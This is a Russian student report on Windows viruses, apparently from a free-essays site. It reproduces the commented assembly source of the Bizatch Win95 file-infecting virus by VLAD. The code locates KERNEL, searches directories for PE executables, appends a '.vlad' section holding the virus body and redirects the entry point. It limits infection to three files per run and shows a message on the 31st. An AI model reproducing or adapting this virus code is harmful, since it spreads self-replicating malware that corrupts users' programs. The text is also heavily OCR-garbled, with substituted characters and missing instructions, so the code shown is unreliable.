![]() |
|
|
Доклад: Вирусы под Windows;Для поддержки Unicode Win32 интерпретирует некоторые функции ;для ANSI или расширенного набора символов. ;В качестве примера рассмотрим ANSI CreateWindowEx equ <CreateWindowExA> DefWindowProc equ <DefWindowProcA> DispatchMessage equ <DispatchMessageA> FindWindow equ <FindWindowA> GetMessage equ <GetMessageA> GetModuleHandle equ <GetModuleHandleA> LoadCursor equ <LoadCursorA> Loadlcon equ <LoadlconA> MessageBox equ <MessageBoxA> RegisterClass equ <RegisterClassA> TextOut equ <TextOutA> •data newhwnd dd 0 Ippaint PAINTSTRUCT <?> msg MSGSTRUCT <?> we WNDCLASS <?> mbx_count dd 0 hinst dd 0 szTitleName db "Bizatch by Quantum / VLAD activated" zero db 0 szAlternate db "more than once",0 szClassName db "ASMCLASS32",0 [Сообщение, выводимое в окне .Размер сообщения MSG_L EQU ($-offset szPaint)--! .code ;Сюда обычно передается управление от загрузчика. .Получим HMODULE call GetModuleHandle push offset szClassName .Пространство для модификации строки заголовка mov [zero]," " ;Инициализируем структуру WndClass mov [wc.clsStyle],CS_HREDRAW+CS_VREDRAW+CS_GLOBALCLASS mov [wc.clsLpfnWndProc],offset WndProc mov [wc.clsCbClsExtra],0 mov [wc.clsCbWndExtra],0 mov eax,[hlnst] mov [wc.clsHlnstance], eax [Загружаем значок push L IDLAPPLICATION ; Загружаем курсор push L IDC.ARROW push L 0 call LoadCursor mov [wc.clsHCursor], eax .Инициализируем оставшиеся поля структуры WndClass ;Регистрируем класс окна ; Создаем окно push L 0 .IpParam .Сохраняем HWND mov [newhwnd], eax .Отображаем окно на экране ;0бновляем содержимое окна ;0чередь сообщений .Прочитаем следующее сообщение из очереди ;Если функция GetMessage вернула нулевое значение, то завершаем стр ах.0 je endJoop Преобразуем виртуальные коды клавиш в сообщения клавиатуры Передаем это сообщение назад в Windows [Переходим к следующему сообщению ;Выход из процесса push [msg.msWPARAM] call ExitProcess .Обработка сообщений окна. Win32 требует сохранения регистров ;ЕВХ, EDI. ESI. Запишем эти регистры после "uses" в строке "ргос". [Проверим, какое сообщение получили, и перейдем к обработке стр [wmsg],WM_RBUTTONDOWN cmp [wmsg].WM_CREATE cmp [wmsg],WM_LBUTTONDOWN je wmlbuttondown cmp [wmsg],WM_PAINT je wm paint cmp [wmsg],WM_GETMINMAXINFO je wmgetminmaxinfo Данная программа не обрабатывает это сообщение. .Сообщение WM_PAINT (перерисовать содержимое окна) Подготовим окно для перерисовки ;Переведем в ASCII-формат значение mbx_count, которое mov eax,[mbx_count] mov edi, offset s_num call HexWrite32 ; Вывод строки в окно push L MSG_L ;Длина строки push offset szPaint ;Строка push L 5 ;Y push L 5 ;X push [theDC] ;DC ;0бозначим завершение перерисовки окна ; Выходим из обработки сообщения ;Сообщение WM_CREATE (создание окна) ; Выходим из обработки сообщения [Сообщение, не обрабатываемое данной программой, передаем Windows push [Iparam] push [wparam] push [wmsg] push [hwnd] call DefWindowProc [Выходим из обработки сообщения [Сообщение WM_DESTROY (уничтожение окна) [Закроем поток [Выходим из обработки сообщения .Сообщение WMJ-BUTTONDOWN (нажата левая кнопка мыши) inc [mbx_count] [Обновим содержимое окна [Выходим из обработки сообщения [Сообщение WM_RBUTTONDOWN (нажата правая кнопка мыши) wmrbuttondown: push L 0 ; Выход им из обработки сообщения ;Сообщение WM_SIZE (изменен размер окна) [Выходим из обработки сообщения [Сообщение WM_GETMINMAXINFO (попытка изменить размер [Заполним структуру MINMAXINFO mov [(MINMAXINFO ptr ebx).mintrackposition_x],350 .Выходим из обработки сообщения [Выходим из обработки сообщения ret Процедура перевода байта в ASCII-формат для печати. Значение, ; Разделяем байт на полубайты и загружаем их в регистры АН и AL [Добавляем 30h к каждому полубайту, чтобы регистры содержали коды ;записанное в полубайте, было больше 9, .Меняем полубайты местами, чтобы регистр АН содержал младший ;Проверим. надо ли корректировать младший полубайт, cmp ah, 39h ja @@4 [Проверим, надо ли корректировать старший полубайт, cmp al,39h ja @@3 ;Сохраним значение по адресу ES:EDI stosw ret .Корректируем значение старшего полубайта sub al, 30h add al, "A"-10 jmp @@2 [Корректируем значение младшего полубайта sub ah, 30h add ah, "A"-10 jmp @@1 [Процедура перевода слова в ASCII-формат для печати. ;Сохраним младший байт из стека ;3агрузим старший байт в регистр А1_ .Переведем старший байт в ASCII-формат ; Восстановим младший байт из стека Переведем младший байт в ASCII-формат call HexWrite8 ret Процедура перевода двойного слова в ASCII-формат для печати. .Сохраним младшее слово из стека ; Загрузим старшее слово в регистр АХ [Переведем старшее слово в ASCII-формат [Восстановим младшее слово из стека [Переведем младшее слово в ASCII-формат call HexWrite-16 ret [Сделаем процедуру WndProc доступной извне [Здесь начинается код вируса. Этот код переписывается из файла assume cs:vladseg ;Вычислим текущий адрес call recalc pop ebp mov eax.ebp db 2Dh ;Код команды SUB AX ;Сохраним адрес в стеке [Вычислим стартовый адрес вирусного кода .Ищем KERNEL. Возьмем вторую известную нам точку KERNEL Проверим ключ. Если ключа нет, перейдем к точке 1 ;KERNEL найден, точка 2 mov eax,[ebp+offset kern2] ;Точка 2 не подошла, проверим точку 1 ;Возьмем адрес первой известной нам точки KERNEL Проверим ключ, если ключа нет - выходим ;KERNEL найден, точка 1 mov eax,[ebp+offset kern1] ;KERNEL найден, адрес точки входа находится в регистре EAX .Сохраним адрес KERNEL ;3апомним текущую директорию ; Инициализируем счетчик заражений mov byte ptr [ebp+offset countinfect],0 ;Ищем первый файл lea eax, [ebp+offset win32_data_thang] push eax lea eax, [ebp+offset fname] push eax call FindFile ;Сохраним индекс для поиска mov dword ptr [ebp+offset searchhandle],eax .Проверим, найден ли файл. Если файл не найден, стр еах,-1 jz foundnothing [Откроем файл для чтения и записи push О push dword ptr [ebp+offset fileattr] ;FILE_ATTRIBUTE_NORMAL push 3 ;OPEN_EXISTING push 0 push 0 push 80000000h+40000000h ;GENERIC_READ+GENERIC_WRITE lea eax, [ebp+offset fullname] push eax call CreateFile .Сохраним описатель файла mov dword ptr [ebp+offset ahandj.eax Проверим, не произошла ли ошибка. стр еах,-1 jz findnextone .Поставим указатель позиции чтения/записи на поле push О push О push 3Ch push dword ptr [ebp+offset ahand] call SetFilePointer ;Считаем адрес РЕ-заголовка lea eax,[ebp+offset bytesread] lea eax,[ebp+offset peheaderoffset] push dword ptr [ebp+offset ahand] .Поставим указатель позиции чтения/записи на начало РЕ-заголовка push dword ptr [ebp+offset peheaderoffset] ;Считаем число байт, достаточное для вычисления полного размера push О lea eax, [ebp+offset bytesread] push eax push 58h lea eax, [ebp+offset peheader] push eax push dword ptr [ebp+offset ahand] call ReadFile [Проверим сигнатуру. Если ее нет, закрываем cmp dword ptr [ebp+offset peheader],00004550h; jnz notape .Проверим файл на зараженность. Если файл заражен, cmp word ptr [ebp+offset peheader+4ch],OFOODh jz notape cmp dword ptr [ebp+offset 52],4000000h jz notape [Поставим указатель позиции чтения/записи на начало РЕ-заголовка push dword ptr [ebp+offset peheaderoffset] ;Считаем весь РЕ-заголовок и таблицу объектов lea eax, [ebp+offset bytesread] push dword ptr [ebp+offset headersize] push dword ptr [ebp+offset ahand] [Установим признак заражения mov word ptr [ebp+offset peheader+4ch],OFOODh [Найдем смещение таблицы объектов mov ax, word ptr [ebp+offset NtHeaderSize] [Вычислим смещение последнего (null) объекта в таблице объектов mov ax,[ebp+offset numObj] xor edx.edx mul ecx add esi.eax ;Увеличим число объектов на 1 inc word ptr [ebp+offset numObj] lea edi,[ebp+offset newobject] xchg edi.esi ;Вычислим относительный виртуальный адрес (Relative Virtual Address mov eax, [edi-5*8+8] add eax,[edi-5*8+12] mov ecx.dword ptr [ebp+offset objalign] xor edx.edx div ecx inc eax mul ecx mov dword ptr [ebp+offset RVA],eax ;Вычислим физический размер нового объекта .Вычислим виртуальный размер нового объекта ; Вычислим физическое смещение нового объекта inc eax mul ecx mov dword ptr [ebp+offset physicaloffset],eax [Обновим размер образа (размер в памяти) файла mov eax,vend-vstart+1000h add eax,dword ptr [ebp+offset imagesize] mov ecx, [ebp+offset objalign] xor edx.edx div ecx inc eax mul ecx mov dword ptr [ebp+offset imagesize],eax .Скопируем новый объект в таблицу объектов mov ecx, 10 rep movsd [Вычислим точку входа RVA mov eax.dword ptr [ebp+offset RVA] mov ebx.dword ptr [ebp+offset entrypointRVA] mov dword ptr [ebp+offset entrypointRVA],eax sub eax.ebx add eax,5 [Установим значение, необходимое для возврата в носитель [Поставим указатель позиции чтения/записи на начало РЕ-заголовка push dword ptr [ebp+offset peheaderoffset] [Запишем РЕ-заголовок и таблицу объектов в файл lea eax, [ebp+offset bytesread] push dword ptr [ebp+offset headersize] push dword ptr [ebp+offset ahand] [Увеличим счетчик заражений inc byte ptr [ebp+offset countinfect] [Поставим указатель позиции чтения/записи push О push О push dword ptr [ebp+offset physicaloffset] push dword ptr [ebp+offset ahand] call SetFilePointer ;3апишем тело вируса в новый объект lea eax,[ebp+offset bytesread] push vend-vstart push dword ptr [ebp+offset ahand] [Закроем файл push dword ptr [ebp+offset ahand] call CloseFile [Переход к следующему файлу [Проверим, сколько файлов заразили: если 3, cmp byte ptr [ebp+offset countinfect],3 jz outty ;Ищем следующий файл lea eax, [ebp+offset win32_data_thang] push dword ptr [ebp+offset searchhandle] .Если файл найден, переходим к заражению ;Сюда попадаем, если файл не найден ;Сменим директорию lea edi,[ebp+offset tempdir] lea edi,[ebp+offset tempdirl] Получим текущую директорию .Сменим директорию на "." lea eax,[ebp+offset dotdot] push eax call SetCurDir ;Получим текущую директорию Проверим, корневая ли это директория. Если да, то выходим ;"3аметаем следы" и выходим в программу-носитель ;Возвратимся в оригинальную текущую директорию Получим текущую дату и время lea eax,[ebp+offset systimestruct] push eax Проверим число. Если это 31-ое, выдаем сообщение .Сообщение для пользователя push 1000h ;MB_SYSTEMMODAL lea eax, [ebp+offset boxtitle] push eax lea eax, [ebp+offset boxmsg] push eax push 0 call MsgBox ; Выход в программу-носитель pop eax jmp eax ;Когда KERNEL будет обнаружен, его смещение будет записано ;3начения KERNEL, известные нам ;Чтение текущей директории ;3апишем в стек значение для получения текущей push OBFF77744h jmp [ebp+offset kern] .Установка текущей директории ;3апишем в стек значение для установки текущей push OBFF7771Dh jmp [ebp+offset kern] [Получение времени и даты Проверим, какой KERNEL работает ;3апишем в стек значение для получения push OBFF9DOB6h jmp [ebp+offset kern] ;3апишем в стек значение для получения push OBFF9D-l4Eh jmp [ebp+offset kern] ;Вывод сообщения .Запишем в стек значение для вывода сообщения и вызовем KERNEL .Поиск первого файла ;3апишем в стек значение для поиска первого файла push OBFF77893h jmp [ebp+offset kern] ; Поиск следующего файла ;3апишем в стек значение для поиска push OBFF778CBh jmp [ebp+offset kern] [Открытие/создание файла ;3апишем в стек значение для открытия/создания файла push OBFF77817h jmp [ebp+offset kern] [Установка указателя чтения/записи ;3апишем в стек значение для установки push OBFF76FAOh jmp [ebp+offset kern] ;Чтение из файла ;3апишем в стек значение для чтения из файла и вызовем KERNEL ;3апись в файл ;3апишем в стек значение для записи в файл и вызовем KERNEL ;3акрытие файла ;3апишем в стек значение для закрытия файла и вызовем KERNEL ;Счетчик заражений Используется для поиска файлов fileattr dd 0 resv dd 0,0 fullname db 256 dup (0) realname db 256 dup (0) ;Имя сообщения, выводимого 31-го числа .-Сообщение, выводимое 31-го числа db "VLAD Australia does it again with the world"s first Win95 Virus" db Odh.Odh db 9."From the old school to the new. ".Odh.Odh db 9,"Metabolis",Odh db 9,"Qark",Odh db 9,"Darkman",Odh db 9,"Quantum",Odh db 9,"CoKe",0 db "written by Quantum of VLAD",0 Данные о директориях Используется для смены директории Используется для получения времени/даты dw 0,0,0 dw 0,0,0,0 ;Индекс для поиска файлов ;Маска для поиска ; Описатель открытого файла ;Смещение РЕ-заголовка в файле [Смещение таблицы объектов [Количество записанных/считанных байт при работе с файлом .Новый объект oname db ".vlad",0,0,0 physicalsize dd 0 Данные, необходимые для заражения файла signature dd 0 ;0бласть памяти для чтения остатка РЕ-заголовка и таблицы объектов db -lOOOh dup (0) |
Страницы: 1, 2
![]() |
||
НОВОСТИ | ![]() |
![]() |
||
ВХОД | ![]() |
|
Рефераты бесплатно, реферат бесплатно, курсовые работы, реферат, доклады, рефераты, рефераты скачать, рефераты на тему, сочинения, курсовые, дипломы, научные работы и многое другое. |
||
При использовании материалов - ссылка на сайт обязательна. |